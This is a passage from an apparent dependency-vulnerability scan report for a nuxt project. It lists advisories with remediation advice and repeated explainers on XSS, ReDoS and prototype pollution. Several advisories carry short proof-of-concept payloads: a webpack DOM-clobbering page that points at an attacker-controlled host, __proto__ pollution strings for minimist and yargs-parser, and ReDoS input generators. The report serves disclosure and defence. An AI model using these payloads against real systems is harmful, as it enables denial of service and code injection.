Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade serialize-javascript
to version 6.0.2 or higher.
References
medium severity
- Vulnerable module: js-yaml
- Introduced through: css-loader@0.28.11
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › js-yaml@3.7.0Remediation: Upgrade to css-loader@1.0.0.
Overview
js-yaml is a human-friendly data serialization language.
Affected versions of this package are vulnerable to Denial of Service (DoS). The parsing of a specially crafted YAML file may exhaust the system resources.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade js-yaml
to version 3.13.0 or higher.
References
medium severity
- Vulnerable module: node-fetch
- Introduced through: opencollective@1.0.3
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › opencollective@1.0.3 › node-fetch@1.6.3
Overview
node-fetch is a light-weight module that brings window.fetch to node.js
Affected versions of this package are vulnerable to Denial of Service. Node Fetch did not honor the size
option after following a redirect, which means that when a content size was over the limit, a FetchError would never get thrown and the process would end without failure.
Remediation
Upgrade node-fetch
to version 2.6.1, 3.0.0-beta.9 or higher.
References
medium severity
- Vulnerable module: webpack
- Introduced through: webpack@2.7.0
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0Remediation: Upgrade to webpack@5.94.0.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via DOM clobbering in the AutoPublicPathRuntimeModule
class. Non-script HTML elements with unsanitized attributes such as name
and id
can be leveraged to execute code in the victim's browser. An attacker who can control such elements on a page that includes Webpack-generated files, can cause subsequent scripts to be loaded from a malicious domain.
PoC
<!DOCTYPE html>
<html>
<head>
<title>Webpack Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade webpack
to version 5.94.0 or higher.
References
medium severity
- Vulnerable module: minimist
- Introduced through: opencollective@1.0.3
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › opencollective@1.0.3 › minimist@1.2.0
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype
using a constructor
or __proto__
payload.
PoC by Snyk
require('minimist')('--__proto__.injected0 value0'.split(' '));
console.log(({}).injected0 === 'value0'); // true
require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
console.log(({}).injected1 === 'value1'); // true
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist
to version 0.2.1, 1.2.3 or higher.
References
medium severity
- Vulnerable module: yargs-parser
- Introduced through: webpack@2.7.0
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › yargs@6.6.0 › yargs-parser@4.2.1Remediation: Upgrade to webpack@4.0.0.
Overview
yargs-parser is a mighty option parser used by yargs.
Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype
using a __proto__
payload.
Our research team checked several attack vectors to verify this vulnerability:
- It could be used for privilege escalation.
- The library could be used to parse user input received from different sources:
- terminal emulators
- system calls from other code bases
- CLI RPC servers
PoC by Snyk
const parser = require("yargs-parser");
console.log(parser('--foo.__proto__.bar baz'));
console.log(({}).bar);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade yargs-parser
to version 5.0.1, 13.1.2, 15.0.1, 18.1.1 or higher.
References
medium severity
- Vulnerable module: browserslist
- Introduced through: autoprefixer@7.2.6, babel-preset-vue-app@1.3.2 and others
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › autoprefixer@7.2.6 › browserslist@2.11.3Remediation: Upgrade to autoprefixer@9.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-vue-app@1.3.2 › babel-preset-env@1.7.0 › browserslist@3.2.8
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › browserslist@1.7.7Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › browserslist@1.7.7Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › caniuse-api@1.6.1 › browserslist@1.7.7Remediation: Upgrade to css-loader@1.0.0.
Overview
browserslist is a Share target browsers between different front-end tools, like Autoprefixer, Stylelint and babel-env-preset
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) during parsing of queries.
PoC by Yeting Li
var browserslist = require("browserslist")
function build_attack(n) {
var ret = "> "
for (var i = 0; i < n; i++) {
ret += "1"
}
return ret + "!";
}
// browserslist('> 1%')
//browserslist(build_attack(500000))
for(var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
try{
browserslist(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
catch(e){
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade browserslist
to version 4.16.5 or higher.
References
medium severity
- Vulnerable module: color-string
- Introduced through: css-loader@0.28.11
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › colormin@1.1.2 › color@0.11.4 › color-string@0.3.0
Overview
color-string is a Parser and generator for CSS color strings
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the hwb
regular expression in the cs.get.hwb
function in index.js. The affected regular expression exhibits quadratic worst-case time complexity.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade color-string
to version 1.5.5 or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: offline-plugin@4.9.1 and webpack-bundle-analyzer@2.13.1
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › offline-plugin@4.9.1 › ejs@2.7.4
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack-bundle-analyzer@2.13.1 › ejs@2.7.4Remediation: Upgrade to webpack-bundle-analyzer@4.0.0.
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.
Note:
Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty
method.
Remediation
Upgrade ejs
to version 3.1.10 or higher.
References
medium severity
- Vulnerable module: glob-parent
- Introduced through: webpack@2.7.0
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › glob-parent@3.1.0
Overview
glob-parent is a package that helps extracting the non-magic parent path from a glob string.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The enclosure
regex used to check for strings ending in enclosure containing path separator.
PoC by Yeting Li
var globParent = require("glob-parent")
function build_attack(n) {
var ret = "{"
for (var i = 0; i < n; i++) {
ret += "/"
}
return ret;
}
globParent(build_attack(5000));
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade glob-parent
to version 5.1.2 or higher.
References
medium severity
- Vulnerable module: html-minifier
- Introduced through: html-minifier@3.5.21 and html-webpack-plugin@2.30.1
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › html-minifier@3.5.21
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › html-webpack-plugin@2.30.1 › html-minifier@3.5.21
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to insecure usage of regex in the cleanAttributeValue
function in htmlminifier.js
.
PoC:
var minify = require('html-minifier').minify
result = minify(attrName = '\t'.repeat(547703) + '.\t1x', tag = '\t'.repeat(547703) + '.\t1x' )
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
